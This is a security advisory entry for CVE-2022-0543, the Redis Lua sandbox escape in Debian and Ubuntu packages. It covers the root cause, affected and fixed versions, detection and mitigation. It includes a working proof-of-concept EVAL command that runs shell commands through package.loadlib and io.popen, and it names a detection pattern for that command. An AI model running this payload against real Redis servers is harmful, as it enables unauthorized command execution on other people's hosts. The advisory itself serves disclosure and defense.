Redis Debian Lua Sandbox Escape

Product: Debian / Ubuntu (Redis packaging) Redis
CVE: CVE-2022-0543
Disclosed: 2022-02-18
CVSS: 10
Auth: pre-auth
CISA KEV: yes
Affected: Redis packages on Debian (e.g. 5:5.0.14-1+deb10u1 and earlier, 5:6.0.16-1+deb11u1 and earlier) and Ubuntu that dynamically link the system Lua library.
Fixed: Debian DSA-5081 (5:5.0.14-1+deb10u2, 5:6.0.16-1+deb11u2) and Ubuntu USN-5316-1.

Summary

A packaging bug in Debian's Redis: the Lua scripting sandbox left the 'package' library reachable. Any client that can run EVAL could load liblua's io module and run shell commands, and the Muhstik botnet exploited it widely.

Root cause

Debian builds Redis against the system liblua5.1, and the generated debian/lua_libs_debian.c also calls luaopen_package. It cleared the resulting 'module' and 'require' globals but not 'package'. package.loadlib() can then load luaopen_io / luaopen_os from liblua.so, giving io.popen() and full command execution as the redis user.

Impact

Remote command execution on the Redis host, unauthenticated where Redis has no password (common).

Public PoC

redis-cli -h 10.0.0.50
> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

Source: vulhub - redis/CVE-2022-0543 (based on Reginaldo Silva's research)

Detection

Run the PoC with a harmless command, or check Debian/Ubuntu package versions. Nuclei template CVE-2022-0543; watch for EVAL commands containing 'package.loadlib'.

Mitigation

Update the redis package; require authentication (requirepass/ACLs), bind to localhost, and disable EVAL for untrusted users.